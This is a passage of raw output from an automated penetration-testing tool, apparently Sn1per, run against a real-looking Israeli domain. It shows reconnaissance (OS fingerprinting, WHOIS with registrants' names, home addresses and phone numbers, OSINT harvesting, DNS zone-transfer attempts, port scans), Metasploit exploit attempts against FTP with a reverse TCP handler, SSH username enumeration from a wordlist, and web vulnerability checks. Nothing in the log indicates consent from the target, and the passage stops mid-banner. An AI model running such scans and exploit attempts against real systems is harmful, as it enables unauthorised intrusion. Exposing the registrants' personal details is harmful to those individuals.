  1954. [-] No distance calculation. 212.199.178.28 appears to be dead or no ports known
  1955. [+] Host: 212.199.178.28 is up (Guess probability: 50%)
  1956. [+] Target: 212.199.178.28 is alive. Round-Trip Time: 0.49556 sec
  1957. [+] Selected safe Round-Trip Time value is: 0.99112 sec
  1958. [-] fingerprint:tcp_hshake Module execution aborted (no open TCP ports known)
  1959. [-] fingerprint:smb need either TCP port 139 or 445 to run
  1960. [+] Primary guess:
  1961. [+] Host 212.199.178.28 Running OS: ›ÑÍU (Guess probability: 100%)
  1962. [+] Other guesses:
  1963. [+] Host 212.199.178.28 Running OS: (Guess probability: 100%)
  1964. [+] Host 212.199.178.28 Running OS: (Guess probability: 100%)
  1965. [+] Host 212.199.178.28 Running OS: (Guess probability: 100%)
  1966. [+] Host 212.199.178.28 Running OS: ›ÑÍU (Guess probability: 100%)
  1967. [+] Host 212.199.178.28 Running OS: (Guess probability: 100%)
  1968. [+] Host 212.199.178.28 Running OS: ›ÑÍU (Guess probability: 100%)
  1969. [+] Host 212.199.178.28 Running OS: (Guess probability: 100%)
  1970. [+] Host 212.199.178.28 Running OS: (Guess probability: 100%)
  1971. [+] Host 212.199.178.28 Running OS: (Guess probability: 100%)
  1972. [+] Cleaning up scan engine
  1973. [+] Modules deinitialized
  1974. [+] Execution completed.
  1975.  + -- ----------------------------=[Gathering Whois Info]=-------------------- -- +
  1976.  
  1977. % The data in the WHOIS database of the .il registry is provided
  1978. % by ISOC-IL for information purposes, and to assist persons in
  1979. % obtaining information about or related to a domain name
  1980. % registration record. ISOC-IL does not guarantee its accuracy.
  1981. % By submitting a WHOIS query, you agree that you will use this
  1982. % Data only for lawful purposes and that, under no circumstances
  1983. % will you use this Data to: (1) allow, enable, or otherwise
  1984. % support the transmission of mass unsolicited, commercial
  1985. % advertising or solicitations via e-mail (spam);
  1986. % or (2) enable high volume, automated, electronic processes that
  1987. % apply to ISOC-IL (or its systems).
  1988. % ISOC-IL reserves the right to modify these terms at any time.
  1989. % By submitting this query, you agree to abide by this policy.
  1990.  
  1991. query: ipanema.co.il
  1992.  
  1993. reg-name: ipanema
  1994. domain: ipanema.co.il
  1995.  
  1996. descr: elbaz jonney
  1997. descr: yehuda marguza 38
  1998. descr: yaffo
  1999. descr: 74011
  2000. descr: Israel
  2001. phone: +972 3 6838019
  2002. e-mail: ipanema AT bizinfo.co.il
  2003. admin-c: LD-AS24500-IL
  2004. tech-c: LD-AS24500-IL
  2005. zone-c: LD-AS24500-IL
  2006. nserver: park1.livedns.co.il
  2007. nserver: park2.livedns.co.il
  2008. validity: 03-03-2019
  2009. DNSSEC: unsigned
  2010. status: Transfer Locked
  2011. changed: domain-registrar AT isoc.org.il 20080303 (Assigned)
  2012. changed: domain-registrar AT isoc.org.il 20080518 (Changed)
  2013. changed: domain-registrar AT isoc.org.il 20090311 (Changed)
  2014. changed: domain-registrar AT isoc.org.il 20141215 (Changed)
  2015.  
  2016. person: Asaf Shatzman
  2017. address: hasita 7
  2018. address: ofarim
  2019. address: 71948
  2020. address: Israel
  2021. phone: +972 54 6571571
  2022. e-mail: asaf AT lantronics.co.il
  2023. nic-hdl: LD-AS24500-IL
  2024. changed: domain-registrar AT isoc.org.il 20120424
  2025. changed: Managing Registrar 20130814
  2026.  
  2027. registrar name: LiveDns Ltd
  2028. registrar info: http://domains.livedns.co.il
  2029.  
  2030. % Rights to the data above are restricted by copyright.
  2031.  + -- ----------------------------=[Gathering OSINT Info]=-------------------- -- +
  2032.  
  2033. *******************************************************************
  2034. * *
  2035. * | |_| |__ ___ /\ /\__ _ _ ____ _____ ___| |_ ___ _ __ *
  2036. * | __| '_ \ / _ \ / /_/ / _` | '__\ \ / / _ \/ __| __/ _ \ '__| *
  2037. * | |_| | | | __/ / __ / (_| | | \ V / __/\__ \ || __/ | *
  2038. * \__|_| |_|\___| \/ /_/ \__,_|_| \_/ \___||___/\__\___|_| *
  2039. * *
  2040. * TheHarvester Ver. 2.7 *
  2041. * Coded by Christian Martorella *
  2042. * Edge-Security Research *
  2043. * cmartorella@edge-security.com *
  2044. *******************************************************************
  2045.  
  2046.  
  2047. Full harvest..
  2048. [-] Searching in Google..
  2049. Searching 0 results...
  2050. Searching 100 results...
  2051. Searching 200 results...
  2052. [-] Searching in PGP Key server..
  2053. [-] Searching in Bing..
  2054. Searching 50 results...
  2055. Searching 100 results...
  2056. Searching 150 results...
  2057. Searching 200 results...
  2058. [-] Searching in Exalead..
  2059. Searching 50 results...
  2060. Searching 100 results...
  2061. Searching 150 results...
  2062. Searching 200 results...
  2063. Searching 250 results...
  2064.  
  2065.  
  2066. [+] Emails found:
  2067. ------------------
  2068. No emails found
  2069.  
  2070. [+] Hosts found in search engines:
  2071. ------------------------------------
  2072. [-] Resolving hostnames IPs...
  2073. 212.199.178.28:www.ipanema.co.il
  2074. [+] Virtual hosts:
  2075. ==================
  2076. 212.199.178.28 ipanema.co.il
  2077.  
  2078. ******************************************************
  2079. * /\/\ ___| |_ __ _ __ _ ___ ___ / _(_) | *
  2080. * / \ / _ \ __/ _` |/ _` |/ _ \ / _ \| |_| | | *
  2081. * / /\/\ \ __/ || (_| | (_| | (_) | (_) | _| | | *
  2082. * \/ \/\___|\__\__,_|\__, |\___/ \___/|_| |_|_| *
  2083. * |___/ *
  2084. * Metagoofil Ver 2.2 *
  2085. * Christian Martorella *
  2086. * Edge-Security.com *
  2087. * cmartorella_at_edge-security.com *
  2088. ******************************************************
  2089.  
  2090. [-] Starting online search...
  2091.  
  2092. [-] Searching for doc files, with a limit of 200
  2093. Searching 100 results...
  2094. Searching 200 results...
  2095. Results: 0 files found
  2096. Starting to download 50 of them:
  2097. ----------------------------------------
  2098.  
  2099.  
  2100. [-] Searching for pdf files, with a limit of 200
  2101. Searching 100 results...
  2102. Searching 200 results...
  2103. Results: 0 files found
  2104. Starting to download 50 of them:
  2105. ----------------------------------------
  2106.  
  2107.  
  2108. [-] Searching for xls files, with a limit of 200
  2109. Searching 100 results...
  2110. Searching 200 results...
  2111. Results: 0 files found
  2112. Starting to download 50 of them:
  2113. ----------------------------------------
  2114.  
  2115.  
  2116. [-] Searching for csv files, with a limit of 200
  2117. Searching 100 results...
  2118. Searching 200 results...
  2119. Results: 0 files found
  2120. Starting to download 50 of them:
  2121. ----------------------------------------
  2122.  
  2123.  
  2124. [-] Searching for txt files, with a limit of 200
  2125. Searching 100 results...
  2126. Searching 200 results...
  2127. Results: 0 files found
  2128. Starting to download 50 of them:
  2129. ----------------------------------------
  2130.  
  2131. processing
  2132. user
  2133. email
  2134.  
  2135. [+] List of users found:
  2136. --------------------------
  2137.  
  2138. [+] List of software found:
  2139. -----------------------------
  2140.  
  2141. [+] List of paths and servers found:
  2142. ---------------------------------------
  2143.  
  2144. [+] List of e-mails found:
  2145. ----------------------------
  2146.  + -- ----------------------------=[Gathering DNS Info]=---------------------- -- +
  2147.  
  2148. ; <<>> DiG 9.11.2-5-Debian <<>> -x ipanema.co.il
  2149. ;; global options: +cmd
  2150. ;; Got answer:
  2151. ;; ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 5180
  2152. ;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 1
  2153.  
  2154. ;; OPT PSEUDOSECTION:
  2155. ; EDNS: version: 0, flags:; udp: 4096
  2156. ;; QUESTION SECTION:
  2157. ;il.co.ipanema.in-addr.arpa. IN PTR
  2158.  
  2159. ;; AUTHORITY SECTION:
  2160. in-addr.arpa. 3600 IN SOA b.in-addr-servers.arpa. nstld.iana.org. 2017102477 1800 900 604800 3600
  2161.  
  2162. ;; Query time: 395 msec
  2163. ;; SERVER: 2001:568:ff09:10c::53#53(2001:568:ff09:10c::53)
  2164. ;; WHEN: Sat Dec 16 15:41:30 EST 2017
  2165. ;; MSG SIZE rcvd: 123
  2166.  
  2167. dnsenum VERSION:1.2.4
  2168. 
  2169. ----- ipanema.co.il -----
  2170. 
  2171.  
  2172. Host's addresses:
  2173. __________________
  2174.  
  2175. ipanema.co.il. 1095 IN A 212.199.178.28
  2176. 
  2177.  
  2178. Name Servers:
  2179. ______________
  2180.  
  2181. park1.livedns.co.il. 7390 IN A 62.219.78.217
  2182. park2.livedns.co.il. 7387 IN A 185.60.169.2
  2183. 
  2184.  
  2185. Mail (MX) Servers:
  2186. ___________________
  2187.  
  2188. 
  2189.  
  2190. Trying Zone Transfers and getting Bind Versions:
  2191. _________________________________________________
  2192.  
  2193. 
  2194. Trying Zone Transfer for ipanema.co.il on park1.livedns.co.il ...
  2195.  
  2196. Trying Zone Transfer for ipanema.co.il on park2.livedns.co.il ...
  2197.  
  2198. brute force file not specified, bay.
  2199.  + -- ----------------------------=[Gathering DNS Subdomains]=---------------- -- +
  2200. 
  2201. ____ _ _ _ _ _____
  2202. / ___| _ _| |__ | (_)___| |_|___ / _ __
  2203. \___ \| | | | '_ \| | / __| __| |_ \| '__|
  2204. ___) | |_| | |_) | | \__ \ |_ ___) | |
  2205. |____/ \__,_|_.__/|_|_|___/\__|____/|_|
  2206.  
  2207. # Coded By Ahmed Aboul-Ela - @aboul3la
  2208.  
  2209. [-] Enumerating subdomains now for ipanema.co.il
  2210. [-] verbosity is enabled, will show the subdomains results in realtime
  2211. [-] Searching now in Baidu..
  2212. [-] Searching now in Yahoo..
  2213. [-] Searching now in Google..
  2214. [-] Searching now in Bing..
  2215. [-] Searching now in Ask..
  2216. [-] Searching now in Netcraft..
  2217. [-] Searching now in DNSdumpster..
  2218. [-] Searching now in Virustotal..
  2219. [-] Searching now in ThreatCrowd..
  2220. [-] Searching now in SSL Certificates..
  2221. [-] Searching now in PassiveDNS..
  2222. SSL Certificates: www.ipanema.co.il
  2223. Virustotal: www.ipanema.co.il
  2224. DNSdumpster: www.ipanema.co.il
  2225. [-] Saving results to file: /usr/share/sniper/loot/domains/domains-ipanema.co.il.txt
  2226. [-] Total Unique Subdomains Found: 1
  2227. www.ipanema.co.il
  2228.  
  2229.  ╔═╗╩═╗╔╩╗╔═╗╩ ╩
  2230.  ║ ╠╩╝ ║ ╚═╗╠═╣
  2231.  ╚═╝╩╚═ ╩o╚═╝╩ ╩
  2232.  + -- ----------------------------=[Gathering Certificate Subdomains]=-------- -- +
  2233. 
  2234. www.ipanema.co.il
  2235.  [+] Domains saved to: /usr/share/sniper/loot/domains/domains-ipanema.co.il-full.txt
  2236. 
  2237.  + -- ----------------------------=[Checking for Sub-Domain Hijacking]=------- -- +
  2238.  + -- ----------------------------=[Checking Email Security]=----------------- -- +
  2239.  
  2240.  + -- ----------------------------=[Pinging host]=---------------------------- -- +
  2241. PING ipanema.co.il (212.199.178.28) 56(84) bytes of data.
  2242. 64 bytes from 212.199.178.28.static.012.net.il (212.199.178.28): icmp_seq=1 ttl=50 time=202 ms
  2243.  
  2244. --- ipanema.co.il ping statistics ---
  2245. 1 packets transmitted, 1 received, 0% packet loss, time 0ms
  2246. rtt min/avg/max/mdev = 202.644/202.644/202.644/0.000 ms
  2247.  
  2248.  + -- ----------------------------=[Running TCP port scan]=------------------- -- +
  2249.  
  2250. Starting Nmap 7.60 ( https://nmap.org ) at 2017-12-16 15:43 EST
  2251. Nmap scan report for ipanema.co.il (212.199.178.28)
  2252. Host is up (0.29s latency).
  2253. rDNS record for 212.199.178.28: 212.199.178.28.static.012.net.il
  2254. Not shown: 462 filtered ports, 1 closed port
  2255. Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
  2256. PORT STATE SERVICE
  2257. 21/tcp open ftp
  2258. 22/tcp open ssh
  2259. 53/tcp open domain
  2260. 80/tcp open http
  2261. 110/tcp open pop3
  2262. 143/tcp open imap
  2263. 443/tcp open https
  2264. 993/tcp open imaps
  2265. 995/tcp open pop3s
  2266. 2222/tcp open EtherNetIP-1
  2267.  
  2268. Nmap done: 1 IP address (1 host up) scanned in 35.92 seconds
  2269.  
  2270.  + -- ----------------------------=[Running Intrusive Scans]=----------------- -- +
  2271.  + -- --=[Port 21 opened... running tests...
  2272.  
  2273. Starting Nmap 7.60 ( https://nmap.org ) at 2017-12-16 15:44 EST
  2274. Nmap scan report for ipanema.co.il (212.199.178.28)
  2275. Host is up (0.22s latency).
  2276. rDNS record for 212.199.178.28: 212.199.178.28.static.012.net.il
  2277. Skipping host ipanema.co.il (212.199.178.28) due to host timeout
  2278. OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
  2279. Nmap done: 1 IP address (1 host up) scanned in 921.80 seconds
  2280. 
  2281. .,,. .
  2282. .\$$$$$L..,,==aaccaacc%#s$b. d8, d8P
  2283. d8P #$$$$$$$$$$$$$$$$$$$$$$$$$$$b. `BP d888888p
  2284. d888888P '7$$$$\""""''^^`` .7$$$|D*"'``` ?88'
  2285. d8bd8b.d8p d8888b ?88' d888b8b _.os#$|8*"` d8P ?8b 88P
  2286. 88P`?P'?P d8b_,dP 88P d8P' ?88 .oaS###S*"` d8P d8888b $whi?88b 88b
  2287. d88 d8 ?8 88b 88b 88b ,88b .osS$$$$*" ?88,.d88b, d88 d8P' ?88 88P `?8b
  2288. d88' d88b 8b`?8888P'`?8b`?88P'.aS$$$$Q*"` `?88' ?88 ?88 88b d88 d88
  2289. .a#$$$$$$"` 88b d8P 88b`?8888P'
  2290. ,s$$$$$$$"` 888888P' 88n _.,,,ass;:
  2291. .a$$$$$$$P` d88P' .,.ass%#S$$$$$$$$$$$$$$'
  2292. .a$###$$$P` _.,,-aqsc#SS$$$$$$$$$$$$$$$$$$$$$$$$$$'
  2293. ,a$$###$$P` _.,-ass#S$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$####SSSS'
  2294. .a$$$$$$$$$$SSS$$$$$$$$$$$$$$$$$$$$$$$$$$$$SS##==--""''^^/$$$$$$'
  2295. _______________________________________________________________ ,&$$$$$$'_____
  2296. ll&&$$$$'
  2297. .;;lll&&&&'
  2298. ...;;lllll&'
  2299. ......;;;llll;;;....
  2300. ` ......;;;;... . .
  2301. 
  2302.  
  2303. =[ metasploit v4.16.22-dev ]
  2304. + -- --=[ 1707 exploits - 970 auxiliary - 299 post ]
  2305. + -- --=[ 503 payloads - 40 encoders - 10 nops ]
  2306. + -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]
  2307.  
  2308. RHOST => ipanema.co.il
  2309. RHOSTS => ipanema.co.il
  2310. [-] ipanema.co.il:21 - Exploit failed [unreachable]: Rex::ConnectionTimeout The connection timed out (ipanema.co.il:21).
  2311. [*] Exploit completed, but no session was created.
  2312. [!] You are binding to a loopback address by setting LHOST to 127.0.0.1. Did you want ReverseListenerBindAddress?
  2313. [*] Started reverse TCP double handler on 127.0.0.1:4444
  2314. [-] ipanema.co.il:21 - Exploit failed [unreachable]: Rex::ConnectionTimeout The connection timed out (ipanema.co.il:21).
  2315. [*] Exploit completed, but no session was created.
  2316.  + -- --=[Port 22 opened... running tests...
  2317. [exception] cannot connect to ipanema.co.il port 22: timed out
  2318.  
  2319. Starting Nmap 7.60 ( https://nmap.org ) at 2017-12-16 16:04 EST
  2320. Nmap scan report for ipanema.co.il (212.199.178.28)
  2321. Host is up.
  2322. rDNS record for 212.199.178.28: 212.199.178.28.static.012.net.il
  2323.  
  2324. PORT STATE SERVICE VERSION
  2325. 22/tcp filtered ssh
  2326. Too many fingerprints match this host to give specific OS details
  2327.  
  2328. TRACEROUTE (using proto 1/icmp)
  2329. HOP RTT ADDRESS
  2330. 1 109.24 ms 10.13.0.1
  2331. 2 112.54 ms 37.187.24.253
  2332. 3 109.49 ms 10.50.225.60
  2333. 4 109.70 ms 10.17.129.42
  2334. 5 109.32 ms 10.73.0.54
  2335. 6 ...
  2336. 7 112.57 ms be100-1111.ldn-5-a9.uk.eu (213.251.128.65)
  2337. 8 112.57 ms edge.lon-01012.net.il (195.66.225.114)
  2338. 9 112.56 ms 80.179.165.54.static.012.net.il (80.179.165.54)
  2339. 10 121.16 ms EDGE-FRA-01-ae3-121.ip4.012.net.il (80.179.165.65)
  2340. 11 124.24 ms EDGE-FRA-02-ae0-0.ip4.012.net.il (80.179.166.82)
  2341. 12 174.17 ms BRDR.MR-01-pos3-0.bb.012.net.il (80.179.166.26)
  2342. 13 173.88 ms 82.102.132.85
  2343. 14 174.62 ms 31.154.102.177
  2344. 15 174.49 ms 31.154.102.180
  2345. 16 ...
  2346. 17 175.97 ms 84.95.248.2.forward.012.net.il (84.95.248.2)
  2347. 18 175.24 ms 185.151.196.60
  2348. 19 ... 30
  2349.  
  2350. OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
  2351. Nmap done: 1 IP address (1 host up) scanned in 30.68 seconds
  2352. 
  2353. .,,. .
  2354. .\$$$$$L..,,==aaccaacc%#s$b. d8, d8P
  2355. d8P #$$$$$$$$$$$$$$$$$$$$$$$$$$$b. `BP d888888p
  2356. d888888P '7$$$$\""""''^^`` .7$$$|D*"'``` ?88'
  2357. d8bd8b.d8p d8888b ?88' d888b8b _.os#$|8*"` d8P ?8b 88P
  2358. 88P`?P'?P d8b_,dP 88P d8P' ?88 .oaS###S*"` d8P d8888b $whi?88b 88b
  2359. d88 d8 ?8 88b 88b 88b ,88b .osS$$$$*" ?88,.d88b, d88 d8P' ?88 88P `?8b
  2360. d88' d88b 8b`?8888P'`?8b`?88P'.aS$$$$Q*"` `?88' ?88 ?88 88b d88 d88
  2361. .a#$$$$$$"` 88b d8P 88b`?8888P'
  2362. ,s$$$$$$$"` 888888P' 88n _.,,,ass;:
  2363. .a$$$$$$$P` d88P' .,.ass%#S$$$$$$$$$$$$$$'
  2364. .a$###$$$P` _.,,-aqsc#SS$$$$$$$$$$$$$$$$$$$$$$$$$$'
  2365. ,a$$###$$P` _.,-ass#S$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$####SSSS'
  2366. .a$$$$$$$$$$SSS$$$$$$$$$$$$$$$$$$$$$$$$$$$$SS##==--""''^^/$$$$$$'
  2367. _______________________________________________________________ ,&$$$$$$'_____
  2368. ll&&$$$$'
  2369. .;;lll&&&&'
  2370. ...;;lllll&'
  2371. ......;;;llll;;;....
  2372. ` ......;;;;... . .
  2373. 
  2374.  
  2375. =[ metasploit v4.16.22-dev ]
  2376. + -- --=[ 1707 exploits - 970 auxiliary - 299 post ]
  2377. + -- --=[ 503 payloads - 40 encoders - 10 nops ]
  2378. + -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]
  2379.  
  2380. USER_FILE => /usr/share/brutex/wordlists/simple-users.txt
  2381. RHOSTS => ipanema.co.il
  2382. [!] RHOST is not a valid option for this module. Did you mean RHOSTS?
  2383. RHOST => ipanema.co.il
  2384. [*] 212.199.178.28:22 - SSH - Checking for false positives
  2385. [*] 212.199.178.28:22 - SSH - Starting scan
  2386. [-] 212.199.178.28:22 - SSH - User 'admin' on could not connect
  2387. [-] 212.199.178.28:22 - SSH - User 'administrator' on could not connect
  2388. [-] 212.199.178.28:22 - SSH - User 'anonymous' on could not connect
  2389. [-] 212.199.178.28:22 - SSH - User 'backup' on could not connect
  2390. [-] 212.199.178.28:22 - SSH - User 'bee' on could not connect
  2391. [-] 212.199.178.28:22 - SSH - User 'ftp' on could not connect
  2392. [-] 212.199.178.28:22 - SSH - User 'guest' on could not connect
  2393. [-] 212.199.178.28:22 - SSH - User 'GUEST' on could not connect
  2394. [-] 212.199.178.28:22 - SSH - User 'info' on could not connect
  2395. [-] 212.199.178.28:22 - SSH - User 'mail' on could not connect
  2396. [-] 212.199.178.28:22 - SSH - User 'mailadmin' on could not connect
  2397. [-] 212.199.178.28:22 - SSH - User 'msfadmin' on could not connect
  2398. [-] 212.199.178.28:22 - SSH - User 'mysql' on could not connect
  2399. [-] 212.199.178.28:22 - SSH - User 'nobody' on could not connect
  2400. [-] 212.199.178.28:22 - SSH - User 'oracle' on could not connect
  2401. [-] 212.199.178.28:22 - SSH - User 'owaspbwa' on could not connect
  2402. [-] 212.199.178.28:22 - SSH - User 'postfix' on could not connect
  2403. [-] 212.199.178.28:22 - SSH - User 'postgres' on could not connect
  2404. [-] 212.199.178.28:22 - SSH - User 'private' on could not connect
  2405. [-] 212.199.178.28:22 - SSH - User 'proftpd' on could not connect
  2406. [-] 212.199.178.28:22 - SSH - User 'public' on could not connect
  2407. [-] 212.199.178.28:22 - SSH - User 'root' on could not connect
  2408. [-] 212.199.178.28:22 - SSH - User 'superadmin' on could not connect
  2409. [-] 212.199.178.28:22 - SSH - User 'support' on could not connect
  2410. [-] 212.199.178.28:22 - SSH - User 'sys' on could not connect
  2411. [-] 212.199.178.28:22 - SSH - User 'system' on could not connect
  2412. [-] 212.199.178.28:22 - SSH - User 'systemadmin' on could not connect
  2413. [-] 212.199.178.28:22 - SSH - User 'systemadministrator' on could not connect
  2414. [-] 212.199.178.28:22 - SSH - User 'test' on could not connect
  2415. [-] 212.199.178.28:22 - SSH - User 'tomcat' on could not connect
  2416. [-] 212.199.178.28:22 - SSH - User 'user' on could not connect
  2417. [-] 212.199.178.28:22 - SSH - User 'webmaster' on could not connect
  2418. [-] 212.199.178.28:22 - SSH - User 'www-data' on could not connect
  2419. [-] 212.199.178.28:22 - SSH - User 'Fortimanager_Access' on could not connect
  2420. [*] Scanned 1 of 1 hosts (100% complete)
  2421. [*] Auxiliary module execution completed
  2422. [-] Auxiliary failed: Msf::OptionValidateError The following options failed to validate: KEY_FILE.
  2423. [*] ipanema.co.il:22 - Scanned 1 of 1 hosts (100% complete)
  2424. [*] Auxiliary module execution completed
  2425.  + -- --=[Port 23 closed... skipping.
  2426.  + -- --=[Port 25 closed... skipping.
  2427.  + -- --=[Port 53 opened... running tests...
  2428.  
  2429. Starting Nmap 7.60 ( https://nmap.org ) at 2017-12-16 16:27 EST
  2430. Nmap scan report for ipanema.co.il (212.199.178.28)
  2431. Host is up.
  2432. rDNS record for 212.199.178.28: 212.199.178.28.static.012.net.il
  2433. Skipping host ipanema.co.il (212.199.178.28) due to host timeout
  2434. OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
  2435. Nmap done: 1 IP address (1 host up) scanned in 926.89 seconds
  2436.  + -- --=[Port 79 closed... skipping.
  2437.  + -- --=[Port 80 opened... running tests...
  2438.  + -- ----------------------------=[Checking for WAF]=------------------------ -- +
  2439.  
  2440. ^ ^
  2441. _ __ _ ____ _ __ _ _ ____
  2442. ///7/ /.' \ / __////7/ /,' \ ,' \ / __/
  2443. | V V // o // _/ | V V // 0 // 0 // _/
  2444. |_n_,'/_n_//_/ |_n_,' \_,' \_,'/_/
  2445. <
  2446. ...'
  2447.  
  2448. WAFW00F - Web Application Firewall Detection Tool
  2449.  
  2450. By Sandro Gauci && Wendel G. Henrique
  2451.  
  2452. Checking http://ipanema.co.il
  2453.  
  2454.  + -- ----------------------------=[Gathering HTTP Info]=--------------------- -- +
  2455. http://ipanema.co.il [ Unassigned]
  2456.  
  2457.  __ ______ _____ 
  2458.  \ \/ / ___|_ _|
  2459.  \ /\___ \ | | 
  2460.  / \ ___) || | 
  2461.  /_/\_|____/ |_| 
  2462.  
  2463. + -- --=[Cross-Site Tracer v1.3 by 1N3 @ CrowdShield
  2464. + -- --=[Target: ipanema.co.il:80
  2465. + -- --=[Port is closed!
  2466.  
  2467.  + -- ----------------------------=[Checking HTTP Headers]=------------------- -- +
  2468. + -- --=[Checking if X-Content options are enabled on ipanema.co.il... 
  2469.  
  2470. + -- --=[Checking if X-Frame options are enabled on ipanema.co.il... 
  2471.  
  2472. + -- --=[Checking if X-XSS-Protection header is enabled on ipanema.co.il... 
  2473.  
  2474. + -- --=[Checking HTTP methods on ipanema.co.il... 
  2475.  
  2476. + -- --=[Checking if TRACE method is enabled on ipanema.co.il... 
  2477.  
  2478. + -- --=[Checking for META tags on ipanema.co.il... 
  2479.  
  2480. + -- --=[Checking for open proxy on ipanema.co.il... 
  2481.  
  2482. + -- --=[Enumerating software on ipanema.co.il... 
  2483.  
  2484. + -- --=[Checking if Strict-Transport-Security is enabled on ipanema.co.il... 
  2485.  
  2486. + -- --=[Checking for Flash cross-domain policy on ipanema.co.il... 
  2487.  
  2488. + -- --=[Checking for Silverlight cross-domain policy on ipanema.co.il... 
  2489.  
  2490. + -- --=[Checking for HTML5 cross-origin resource sharing on ipanema.co.il... 
  2491.  
  2492. + -- --=[Retrieving robots.txt on ipanema.co.il... 
  2493.  
  2494. + -- --=[Retrieving sitemap.xml on ipanema.co.il... 
  2495.  
  2496. + -- --=[Checking cookie attributes on ipanema.co.il... 
  2497.  
  2498. + -- --=[Checking for ASP.NET Detailed Errors on ipanema.co.il... 
  2499.  
  2500. 
  2501.  + -- ----------------------------=[Running Web Vulnerability Scan]=---------- -- +
  2502. - Nikto v2.1.6
  2503. ---------------------------------------------------------------------------
  2504. + No web server found on ipanema.co.il:80
  2505. ---------------------------------------------------------------------------
  2506. + 0 host(s) tested
  2507.  + -- ----------------------------=[Saving Web Screenshots]=------------------ -- +
  2508. [+] Screenshot saved to /usr/share/sniper/loot/screenshots/ipanema.co.il-port80.jpg
  2509.  + -- ----------------------------=[Running Google Hacking Queries]=--------------------- -- +
  2510.  + -- ----------------------------=[Running InUrlBR OSINT Queries]=---------- -- +
  2511.  
  2512.  _____  .701F. .iBR. .7CL. .70BR. .7BR. .7BR'''Cq. .70BR. .1BR'''Yp, .8BR'''Cq.
  2513.  (_____) 01 01N. C 01 C 01 .01. 01  01 Yb 01 .01.
  2514.  (() ()) 01 C YCb C 01 C 01 ,C9 01  01 dP 01 ,C9
  2515.  \ /  01 C .CN. C 01 C 0101dC9 01  01'''bg. 0101dC9
  2516.  \ /  01 C .01.C 01 C 01 YC. 01 ,  01 .Y 01 YC.
  2517.  /=\  01 C Y01 YC. ,C 01 .Cb. 01 ,C  01 ,9 01 .Cb.
  2518.  [___]  .J01L. .JCL. YC .b0101d'. .J01L. .J01. .J01010101C .J0101Cd9 .J01L. .J01./ 2.1
  2519.  
  2520. __[ ! ] Neither war between hackers, nor peace for the system.
  2521. __[ ! ] http://blog.inurl.com.br
  2522. __[ ! ] http://fb.com/InurlBrasil
  2523. __[ ! ] http://twitter.com/@googleinurl
  2524. __[ ! ] http://github.com/googleinurl
  2525. __[ ! ] Current PHP version::[ 7.0.26-1 ]
  2526. __[ ! ] Current script owner::[ root ]
  2527. __[ ! ] Current uname::[ Linux Kali 4.14.0-kali1-amd64 #1 SMP Debian 4.14.2-1kali1 (2017-12-04) x86_64 ]
  2528. __[ ! ] Current pwd::[ /usr/share/sniper ]
  2529. __[ ! ] Help: php inurlbr.php --help
  2530. ------------------------------------------------------------------------------------------------------------------------
  2531.  
  2532. [ ! ] Starting SCANNER INURLBR 2.1 at [16-12-2017 17:28:59]
  2533. [ ! ] legal disclaimer: Usage of INURLBR for attacking targets without prior mutual consent is illegal.
  2534. It is the end user's responsibility to obey all applicable local, state and federal laws.
  2535. Developers assume no liability and are not responsible for any misuse or damage caused by this program
  2536.  
  2537. [ INFO ][ OUTPUT FILE ]:: [ /usr/share/sniper/output/inurlbr-ipanema.co.il.txt ]
  2538. [ INFO ][ DORK ]::[ site:ipanema.co.il ]
  2539. [ INFO ][ SEARCHING ]:: {
  2540. [ INFO ][ ENGINE ]::[ GOOGLE - www.google.gm ]
  2541.  
  2542. [ INFO ][ SEARCHING ]:: 
  2543. -[:::]
  2544. [ INFO ][ ENGINE ]::[ GOOGLE API ]
  2545.  
  2546. [ INFO ][ SEARCHING ]:: 
  2547. -[:::]-[:::]-[:::]-[:::]-[:::]-[:::]-[:::]-[:::]-[:::]-[:::]-[:::]-[:::]-[:::]-[:::]-[:::]
  2548. [ INFO ][ ENGINE ]::[ GOOGLE_GENERIC_RANDOM - www.google.com.kw ID: 010479943387663786936:wjwf2xkhfmq ]
  2549.  
  2550. [ INFO ][ SEARCHING ]:: 
  2551. -[:::]-[:::]-[:::]-[:::]-[:::]-[:::]
  2552.  
  2553. [ INFO ][ TOTAL FOUND VALUES ]:: [ 0 ]
  2554. [ INFO ] Not a satisfactory result was found!
  2555.  
  2556.  
  2557. [ INFO ] [ Shutting down ]
  2558. [ INFO ] [ End of process INURLBR at [16-12-2017 17:30:49]
  2559. [ INFO ] [ TOTAL FILTERED VALUES ]:: [ 0 ]
  2560. [ INFO ] [ OUTPUT FILE ]:: [ /usr/share/sniper/output/inurlbr-ipanema.co.il.txt ]
  2561. |_________________________________________________________________________________________
  2562.  
  2563. \_________________________________________________________________________________________/
  2564.  
  2565.  + -- --=[Port 110 opened... running tests...
  2566.  
  2567. Starting Nmap 7.60 ( https://nmap.org ) at 2017-12-16 17:30 EST
  2568. Note: Host seems down. If it is really up, but blocking our ping probes, try -Pn
  2569. Nmap done: 1 IP address (0 hosts up) scanned in 10.00 seconds
  2570.  + -- --=[Port 111 closed... skipping.
  2571.  + -- --=[Port 135 closed... skipping.
  2572.  + -- --=[Port 139 closed... skipping.
  2573.  + -- --=[Port 161 closed... skipping.
  2574.  + -- --=[Port 162 closed... skipping.
  2575.  + -- --=[Port 389 closed... skipping.
  2576.  + -- --=[Port 443 opened... running tests...
  2577.  + -- ----------------------------=[Checking for WAF]=------------------------ -- +
  2578.  
  2579. ^ ^
  2580. _ __ _ ____ _ __ _ _ ____
  2581. ///7/ /.' \ / __////7/ /,' \ ,' \ / __/
  2582. | V V // o // _/ | V V // 0 // 0 // _/
  2583. |_n_,'/_n_//_/ |_n_,' \_,' \_,'/_/
  2584. <
  2585. ...'
  2586.  
  2587. WAFW00F - Web Application Firewall Detection Tool
  2588.  
  2589. By Sandro Gauci && Wendel G. Henrique
  2590.  
  2591. Checking https://ipanema.co.il
  2592.  
  2593.  + -- ----------------------------=[Checking Cloudflare]=--------------------- -- +
  2594. ____ _ _ _____ _ _
  2595. / ___| | ___ _ _ __| | ___|_ _(_) |
